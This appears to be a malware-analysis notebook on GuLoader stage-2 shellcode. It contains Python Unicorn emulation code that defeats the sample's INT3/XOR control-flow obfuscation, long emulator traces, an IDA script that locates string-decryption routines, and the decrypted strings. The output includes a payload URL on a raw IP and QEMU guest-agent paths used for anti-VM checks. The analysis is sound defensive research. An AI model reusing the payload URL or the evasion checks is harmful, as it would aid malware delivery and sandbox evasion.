Breakpoint detected at 0x177e7
EIP: 0x177f5
Breakpoint detected at 0x177f5
EIP: 0x17809
EIP: 0x1780f
Breakpoint detected at 0x1780f
EIP: 0x1781e
Breakpoint detected at 0x1781e
EIP: 0x1782e
EIP: 0x17834
Breakpoint detected at 0x17834
EIP: 0x17840
EIP: 0x17846
Breakpoint detected at 0x17846
EIP: 0x1784b
Breakpoint detected at 0x1784b
EIP: 0x1785c
EIP: 0x17862
Breakpoint detected at 0x17862
EIP: 0x17871
Breakpoint detected at 0x17871
EIP: 0x1787a
EIP: 0x17884
Breakpoint detected at 0x17884
EIP: 0x17897
EIP: 0x178a1
Breakpoint detected at 0x178a1
EIP: 0x178aa
EIP: 0x178b4
Breakpoint detected at 0x178b4
EIP: 0x178c7
EIP: 0x178d1
Breakpoint detected at 0x178d1
EIP: 0x178e6
Breakpoint detected at 0x178e6
EIP: 0x178ef
Breakpoint detected at 0x178ef
EIP: 0x17903
Breakpoint detected at 0x17903
EIP: 0x17911
EIP: 0x17912
EIP: 0x17918
EIP: 0x17903
Breakpoint detected at 0x17903
EIP: 0x17911
EIP: 0x17912
EIP: 0x17918
EIP: 0x17903
Breakpoint detected at 0x17903
EIP: 0x17911
EIP: 0x17912
EIP: 0x17918
EIP: 0x1791a
Breakpoint detected at 0x1791a
EIP: 0x1792d
EIP: 0x1792e
Breakpoint detected at 0x1792e
EIP: 0x1793b
Breakpoint detected at 0x1793b
EIP: 0x17949
EIP: 0x1794f
Breakpoint detected at 0x1794f
EIP: 0x1795f
EIP: 0x17965
Breakpoint detected at 0x17965
EIP: 0x1797a
Breakpoint detected at 0x1797a
EIP: 0x17986
EIP: 0x1798c
Breakpoint detected at 0x1798c
EIP: 0x1799d
EIP: 0x179a3
Breakpoint detected at 0x179a3
EIP: 0x179af
EIP: 0x179b5
EIP: 0x179ba
EIP: 0x179c0
EIP: 0x179c6
Breakpoint detected at 0x179c6
EIP: 0x179d8
EIP: 0x179de
Breakpoint detected at 0x179de
EIP: 0x179e7
Breakpoint detected at 0x179e7
EIP: 0x179ee
EIP: 0x179f0
EIP: 0x179f6
Breakpoint detected at 0x179f6
EIP: 0x17a02
Breakpoint detected at 0x17a02
arg_buff_data = uc_engine.mem_read(ARG_BUFF, 0x1000)

data_len = struct.unpack('<I', arg_buff_data[:4])[0]
data = arg_buff_data[4:4+data_len]
xor_crypt(data, key).decode('utf-16')
'windir='

New and Improved Hook (Only for INT)

from ctypes import *
import unicorn as uc
import struct

# This is just to print each instruction address as it's emulated
def hook_int(uc_engine, interrupt_number, userdata):
    print(f"INT {interrupt_number}")
    eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP) -1
    pretty_eip = hex(eip-0x10000)
    print(f"EIP: {pretty_eip}")
    test = uc_engine.mem_read(eip, 2)
    if test[0] == 0xcc:
        print(f"Breakpoint detected at {pretty_eip}")
        new_eip = (test[1] ^ 0x8F) + eip
        uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, new_eip)
    return True

buf = open('/tmp/Guloader_stage_2.bin', 'rb').read()

uc_engine = uc.Uc(uc.UC_ARCH_X86, uc.UC_MODE_32)
STACK_ADDR = 0x900000
CODE_ADDR = 0x10000

# Load shellcode into mem
uc_engine.mem_map(CODE_ADDR, 0x300000, uc.UC_PROT_ALL)
uc_engine.mem_write(CODE_ADDR, buf)

# Set shellcode entrypoint
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, CODE_ADDR)

# Setup the stack memory
uc_engine.mem_map(STACK_ADDR - 0x100000, 0x200000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_ESP, STACK_ADDR)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EBP, STACK_ADDR)


# This is our hook just for fun
hook1 = uc_engine.hook_add(uc.UC_HOOK_INTR, hook_int, None)

# Setup our arguments/buffers

EAX_BUFF = 0x500000
uc_engine.mem_map(EAX_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EAX, EAX_BUFF)

# This sort of works like a 'push' to push the buffer address onto the stack
EBP_BUFF = 0x600000
uc_engine.mem_map(EBP_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR, struct.pack('<I',EBP_BUFF))


EDI_BUFF = 0x700000
uc_engine.mem_map(EDI_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EDI, EDI_BUFF)


ARG_BUFF = 0x400000
uc_engine.mem_map(ARG_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR + 4, struct.pack('<I',ARG_BUFF))

FN_START = 0x00017571  + CODE_ADDR
FN_END = 0x0017A11 + CODE_ADDR

uc_engine.emu_start(FN_START, FN_END, 0, 0)

#out_eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP)
INT 3
EIP: 0x17571
Breakpoint detected at 0x17571
INT 3
EIP: 0x17584
Breakpoint detected at 0x17584
INT 3
EIP: 0x17593
Breakpoint detected at 0x17593
INT 3
EIP: 0x1759e
Breakpoint detected at 0x1759e
INT 3
EIP: 0x175aa
Breakpoint detected at 0x175aa
INT 3
EIP: 0x175b4
Breakpoint detected at 0x175b4
INT 3
EIP: 0x175d7
Breakpoint detected at 0x175d7
INT 3
EIP: 0x175e8
Breakpoint detected at 0x175e8
INT 3
EIP: 0x17610
Breakpoint detected at 0x17610
INT 3
EIP: 0x17617
Breakpoint detected at 0x17617
INT 3
EIP: 0x17617
Breakpoint detected at 0x17617
INT 3
EIP: 0x17617
Breakpoint detected at 0x17617
INT 3
EIP: 0x17626
Breakpoint detected at 0x17626
INT 3
EIP: 0x17635
Breakpoint detected at 0x17635
INT 3
EIP: 0x17647
Breakpoint detected at 0x17647
INT 3
EIP: 0x17659
Breakpoint detected at 0x17659
INT 3
EIP: 0x17661
Breakpoint detected at 0x17661
INT 3
EIP: 0x17671
Breakpoint detected at 0x17671
INT 3
EIP: 0x17678
Breakpoint detected at 0x17678
INT 3
EIP: 0x17686
Breakpoint detected at 0x17686
INT 3
EIP: 0x17694
Breakpoint detected at 0x17694
INT 3
EIP: 0x176a7
Breakpoint detected at 0x176a7
INT 3
EIP: 0x176b3
Breakpoint detected at 0x176b3
INT 3
EIP: 0x176c7
Breakpoint detected at 0x176c7
INT 3
EIP: 0x1772b
Breakpoint detected at 0x1772b
INT 3
EIP: 0x1773c
Breakpoint detected at 0x1773c
INT 3
EIP: 0x17744
Breakpoint detected at 0x17744
INT 3
EIP: 0x17754
Breakpoint detected at 0x17754
INT 3
EIP: 0x17764
Breakpoint detected at 0x17764
INT 3
EIP: 0x17781
Breakpoint detected at 0x17781
INT 3
EIP: 0x1778f
Breakpoint detected at 0x1778f
INT 3
EIP: 0x177a2
Breakpoint detected at 0x177a2
INT 3
EIP: 0x177d1
Breakpoint detected at 0x177d1
INT 3
EIP: 0x177e7
Breakpoint detected at 0x177e7
INT 3
EIP: 0x177f5
Breakpoint detected at 0x177f5
INT 3
EIP: 0x1780f
Breakpoint detected at 0x1780f
INT 3
EIP: 0x1781e
Breakpoint detected at 0x1781e
INT 3
EIP: 0x17834
Breakpoint detected at 0x17834
INT 3
EIP: 0x17846
Breakpoint detected at 0x17846
INT 3
EIP: 0x1784b
Breakpoint detected at 0x1784b
INT 3
EIP: 0x17862
Breakpoint detected at 0x17862
INT 3
EIP: 0x17871
Breakpoint detected at 0x17871
INT 3
EIP: 0x17884
Breakpoint detected at 0x17884
INT 3
EIP: 0x178a1
Breakpoint detected at 0x178a1
INT 3
EIP: 0x178b4
Breakpoint detected at 0x178b4
INT 3
EIP: 0x178d1
Breakpoint detected at 0x178d1
INT 3
EIP: 0x178e6
Breakpoint detected at 0x178e6
INT 3
EIP: 0x178ef
Breakpoint detected at 0x178ef
INT 3
EIP: 0x17903
Breakpoint detected at 0x17903
INT 3
EIP: 0x17903
Breakpoint detected at 0x17903
INT 3
EIP: 0x17903
Breakpoint detected at 0x17903
INT 3
EIP: 0x1791a
Breakpoint detected at 0x1791a
INT 3
EIP: 0x1792e
Breakpoint detected at 0x1792e
INT 3
EIP: 0x1793b
Breakpoint detected at 0x1793b
INT 3
EIP: 0x1794f
Breakpoint detected at 0x1794f
INT 3
EIP: 0x17965
Breakpoint detected at 0x17965
INT 3
EIP: 0x1797a
Breakpoint detected at 0x1797a
INT 3
EIP: 0x1798c
Breakpoint detected at 0x1798c
INT 3
EIP: 0x179a3
Breakpoint detected at 0x179a3
INT 3
EIP: 0x179c6
Breakpoint detected at 0x179c6
INT 3
EIP: 0x179de
Breakpoint detected at 0x179de
INT 3
EIP: 0x179e7
Breakpoint detected at 0x179e7
INT 3
EIP: 0x179f6
Breakpoint detected at 0x179f6
INT 3
EIP: 0x17a02
Breakpoint detected at 0x17a02
arg_buff_data = uc_engine.mem_read(ARG_BUFF, 0x1000)

data_len = struct.unpack('<I', arg_buff_data[:4])[0]
data = arg_buff_data[4:4+data_len]
xor_crypt(data, key).decode('utf-16')
'windir='
Add Code To Automatically Handle RET
from ctypes import *
import unicorn as uc
import struct

# This is just to print each instruction address as it's emulated
def hook_int(uc_engine, interrupt_number, userdata):
    print(f"INT {interrupt_number}")
    eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP) -1
    pretty_eip = hex(eip-0x10000)
    print(f"EIP: {pretty_eip}")
    test = uc_engine.mem_read(eip, 2)
    if test[0] == 0xcc:
        print(f"Breakpoint detected at {pretty_eip}")
        new_eip = (test[1] ^ 0x8F) + eip
        uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, new_eip)
    return True

buf = open('/tmp/Guloader_stage_2.bin', 'rb').read()

uc_engine = uc.Uc(uc.UC_ARCH_X86, uc.UC_MODE_32)
STACK_ADDR = 0x900000
CODE_ADDR = 0x10000

# Load shellcode into mem
uc_engine.mem_map(CODE_ADDR, 0x300000, uc.UC_PROT_ALL)
uc_engine.mem_write(CODE_ADDR, buf)

# Set shellcode entrypoint
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, CODE_ADDR)

# Setup the stack memory
uc_engine.mem_map(STACK_ADDR - 0x100000, 0x200000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_ESP, STACK_ADDR)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EBP, STACK_ADDR)


# This is our hook just for fun
hook1 = uc_engine.hook_add(uc.UC_HOOK_INTR, hook_int, None)

# Setup our arguments/buffers

EAX_BUFF = 0x500000
uc_engine.mem_map(EAX_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EAX, EAX_BUFF)

# This sort of works like a 'push' to push the buffer address onto the stack
EBP_BUFF = 0x600000
uc_engine.mem_map(EBP_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR, struct.pack('<I',EBP_BUFF))


EDI_BUFF = 0x700000
uc_engine.mem_map(EDI_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EDI, EDI_BUFF)


ARG_BUFF = 0x400000
uc_engine.mem_map(ARG_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR + 4, struct.pack('<I',ARG_BUFF))

FN_START = 0x00017571  + CODE_ADDR
# This is a trick to set a "stop" address
FN_END = 0xDEADBEEF

# Push the "stop" address onto the stack to trigger stop on return
uc_engine.mem_write(STACK_ADDR, struct.pack('<I',0xDEADBEEF))

uc_engine.emu_start(FN_START, FN_END, 0, 0)

#out_eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP)
INT 3
EIP: 0x17571
Breakpoint detected at 0x17571
INT 3
EIP: 0x17584
Breakpoint detected at 0x17584
INT 3
EIP: 0x17593
Breakpoint detected at 0x17593
INT 3
EIP: 0x1759e
Breakpoint detected at 0x1759e
INT 3
EIP: 0x175aa
Breakpoint detected at 0x175aa
INT 3
EIP: 0x175b4
Breakpoint detected at 0x175b4
INT 3
EIP: 0x175d7
Breakpoint detected at 0x175d7
INT 3
EIP: 0x175e8
Breakpoint detected at 0x175e8
INT 3
EIP: 0x17610
Breakpoint detected at 0x17610
INT 3
EIP: 0x17617
Breakpoint detected at 0x17617
INT 3
EIP: 0x17617
Breakpoint detected at 0x17617
INT 3
EIP: 0x17617
Breakpoint detected at 0x17617
INT 3
EIP: 0x17626
Breakpoint detected at 0x17626
INT 3
EIP: 0x17635
Breakpoint detected at 0x17635
INT 3
EIP: 0x17647
Breakpoint detected at 0x17647
INT 3
EIP: 0x17659
Breakpoint detected at 0x17659
INT 3
EIP: 0x17661
Breakpoint detected at 0x17661
INT 3
EIP: 0x17671
Breakpoint detected at 0x17671
INT 3
EIP: 0x17678
Breakpoint detected at 0x17678
INT 3
EIP: 0x17686
Breakpoint detected at 0x17686
INT 3
EIP: 0x17694
Breakpoint detected at 0x17694
INT 3
EIP: 0x176a7
Breakpoint detected at 0x176a7
INT 3
EIP: 0x176b3
Breakpoint detected at 0x176b3
INT 3
EIP: 0x176c7
Breakpoint detected at 0x176c7
INT 3
EIP: 0x1772b
Breakpoint detected at 0x1772b
INT 3
EIP: 0x1773c
Breakpoint detected at 0x1773c
INT 3
EIP: 0x17744
Breakpoint detected at 0x17744
INT 3
EIP: 0x17754
Breakpoint detected at 0x17754
INT 3
EIP: 0x17764
Breakpoint detected at 0x17764
INT 3
EIP: 0x17781
Breakpoint detected at 0x17781
INT 3
EIP: 0x1778f
Breakpoint detected at 0x1778f
INT 3
EIP: 0x177a2
Breakpoint detected at 0x177a2
INT 3
EIP: 0x177d1
Breakpoint detected at 0x177d1
INT 3
EIP: 0x177e7
Breakpoint detected at 0x177e7
INT 3
EIP: 0x177f5
Breakpoint detected at 0x177f5
INT 3
EIP: 0x1780f
Breakpoint detected at 0x1780f
INT 3
EIP: 0x1781e
Breakpoint detected at 0x1781e
INT 3
EIP: 0x17834
Breakpoint detected at 0x17834
INT 3
EIP: 0x17846
Breakpoint detected at 0x17846
INT 3
EIP: 0x1784b
Breakpoint detected at 0x1784b
INT 3
EIP: 0x17862
Breakpoint detected at 0x17862
INT 3
EIP: 0x17871
Breakpoint detected at 0x17871
INT 3
EIP: 0x17884
Breakpoint detected at 0x17884
INT 3
EIP: 0x178a1
Breakpoint detected at 0x178a1
INT 3
EIP: 0x178b4
Breakpoint detected at 0x178b4
INT 3
EIP: 0x178d1
Breakpoint detected at 0x178d1
INT 3
EIP: 0x178e6
Breakpoint detected at 0x178e6
INT 3
EIP: 0x178ef
Breakpoint detected at 0x178ef
INT 3
EIP: 0x17903
Breakpoint detected at 0x17903
INT 3
EIP: 0x17903
Breakpoint detected at 0x17903
INT 3
EIP: 0x17903
Breakpoint detected at 0x17903
INT 3
EIP: 0x1791a
Breakpoint detected at 0x1791a
INT 3
EIP: 0x1792e
Breakpoint detected at 0x1792e
INT 3
EIP: 0x1793b
Breakpoint detected at 0x1793b
INT 3
EIP: 0x1794f
Breakpoint detected at 0x1794f
INT 3
EIP: 0x17965
Breakpoint detected at 0x17965
INT 3
EIP: 0x1797a
Breakpoint detected at 0x1797a
INT 3
EIP: 0x1798c
Breakpoint detected at 0x1798c
INT 3
EIP: 0x179a3
Breakpoint detected at 0x179a3
INT 3
EIP: 0x179c6
Breakpoint detected at 0x179c6
INT 3
EIP: 0x179de
Breakpoint detected at 0x179de
INT 3
EIP: 0x179e7
Breakpoint detected at 0x179e7
INT 3
EIP: 0x179f6
Breakpoint detected at 0x179f6
INT 3
EIP: 0x17a02
Breakpoint detected at 0x17a02

Final Automatic String Decryption

from ctypes import *
import unicorn as uc
import struct

# This is just to print each instruction address as it's emulated
def hook_int(uc_engine, interrupt_number, userdata):
    #print(f"INT {interrupt_number}")
    eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP) -1
    pretty_eip = hex(eip-0x10000)
    #print(f"EIP: {pretty_eip}")
    test = uc_engine.mem_read(eip, 2)
    if test[0] == 0xcc:
        #print(f"Breakpoint detected at {pretty_eip}")
        new_eip = (test[1] ^ 0x8F) + eip
        uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, new_eip)
    return True

buf = open('/tmp/Guloader_stage_2.bin', 'rb').read()


def decrypt(fn_address):
    uc_engine = uc.Uc(uc.UC_ARCH_X86, uc.UC_MODE_32)
    STACK_ADDR = 0x900000
    CODE_ADDR = 0x10000

    # Load shellcode into mem
    uc_engine.mem_map(CODE_ADDR, 0x300000, uc.UC_PROT_ALL)
    uc_engine.mem_write(CODE_ADDR, buf)

    # Set shellcode entrypoint
    uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, CODE_ADDR)

    # Setup the stack memory
    uc_engine.mem_map(STACK_ADDR - 0x100000, 0x200000, uc.UC_PROT_ALL)
    uc_engine.reg_write(uc.x86_const.UC_X86_REG_ESP, STACK_ADDR)
    uc_engine.reg_write(uc.x86_const.UC_X86_REG_EBP, STACK_ADDR)


    # This is our hook just for fun
    hook1 = uc_engine.hook_add(uc.UC_HOOK_INTR, hook_int, None)

    # Setup our arguments/buffers

    EAX_BUFF = 0x500000
    uc_engine.mem_map(EAX_BUFF, 0x1000, uc.UC_PROT_ALL)
    uc_engine.reg_write(uc.x86_const.UC_X86_REG_EAX, EAX_BUFF)

    # This sort of works like a 'push' to push the buffer address onto the stack
    EBP_BUFF = 0x600000
    uc_engine.mem_map(EBP_BUFF, 0x1000, uc.UC_PROT_ALL)
    uc_engine.mem_write(STACK_ADDR, struct.pack('<I',EBP_BUFF))


    EDI_BUFF = 0x700000
    uc_engine.mem_map(EDI_BUFF, 0x1000, uc.UC_PROT_ALL)
    uc_engine.reg_write(uc.x86_const.UC_X86_REG_EDI, EDI_BUFF)


    ARG_BUFF = 0x400000
    uc_engine.mem_map(ARG_BUFF, 0x1000, uc.UC_PROT_ALL)
    uc_engine.mem_write(STACK_ADDR + 4, struct.pack('<I',ARG_BUFF))

    FN_START =  fn_address + CODE_ADDR
    # This is a trick to set a "stop" address
    FN_END = 0xDEADBEEF

    # Push the "stop" address onto the stack to trigger stop on return
    uc_engine.mem_write(STACK_ADDR, struct.pack('<I',0xDEADBEEF))

    uc_engine.emu_start(FN_START, FN_END, 0, 0)
    
    # Read the data buffer
    arg_buff_data = uc_engine.mem_read(ARG_BUFF, 0x1000)

    data_len = struct.unpack('<I', arg_buff_data[:4])[0]
    data = arg_buff_data[4:4+data_len]
    out = xor_crypt(data, key)
    return out.replace(b'\x00',b'').decode('utf-8')
    
decrypt(0x147F1)
'psapi.dll'

IDA Script to Find Encrypted String Functions

We know that the string data function is the last function call before the string decryption function calls so we can just use xrefs to the decryption functions then search backwards for the string data function call.

def test2():
    f = ida_funcs.get_func(0x08268980)
    fc = FlowChart(f, flags=FC_PREDS)
    for block in fc:
        print(f"Basic Block: {hex(block.start_ea)}")
        print("------------------------------------")
        # grab the last two instructions in the block 
        last_inst = idc.prev_head(block.end_ea)
        penultimate_inst = idc.prev_head(last_inst)
        ea = block.start_ea
        while ea < block.end_ea:
            dLine = idc.generate_disasm_line(ea, 1)
            print(f"{hex(ea)}: " + dLine)
            ea = idc.next_head(ea) 


def get_string_fn(ptr_addr):
    out = None
    limt_count = 0
    while limt_count < 10000:
        ptr_addr = idc.prev_head(ptr_addr)
        if is_code(ida_bytes.get_full_flags(ptr_addr)):
            if idc.print_insn_mnem(ptr_addr) == 'call':
                print(idc.get_operand_value(ptr_addr, 0))
                out = idc.get_operand_value(ptr_addr, 0)
                break
        limt_count += 1
    return out


def get_xref_list(fn_addr):
    return [addr.frm for addr in idautils.XrefsTo(fn_addr)]

xref_list = get_xref_list(0x025A28)
str_fn_list = []

for xref in xref_list:
    str_fn = get_string_fn(xref)
    if str_fn is not None:
        str_fn_list.append(str_fn)
str_fn_list = [0x254d4, 0x1644a, 0x147f1, 0x1607f, 0x1d6a4, 0x1be3d, 0x1babc, 0x1836d, 0x8a55, 0x8d44, 0x670f, 0x4270, 0xac35, 0xaab1, 0x8f89, 0x9d9c, 0x1d9d3, 0x14d18, 0x18aa1, 0x19765, 0x1a31c, 0x1ae60, 0x17571, 0x18f33, 0x192f4, 0x17de0, 0x15b41, 0x14d35, 0x167d4, 0x171af, 0x16e4f, 0x1cf67, 0x1c943, 0x17aa1]

for str_fn in str_fn_list:
    try:
        print(decrypt(str_fn))
    except:
        pass
user32
psapi.dll
Msi.dll
Publisher
Skattekister138
OverOps146.70.147.12/vSFjv98.fla
SOFTWARE\AppDataLow\
Tumorlike



ProgramFiles=
windir=
\system32\
\syswow64\
iertutil.dll
wininet.dll
KERNELBASE.DLL
shell32
advapi32
C:\Program Files\Qemu-ga\qemu-ga.exe
C:\Program Files\qga\qga.exe
TEMP=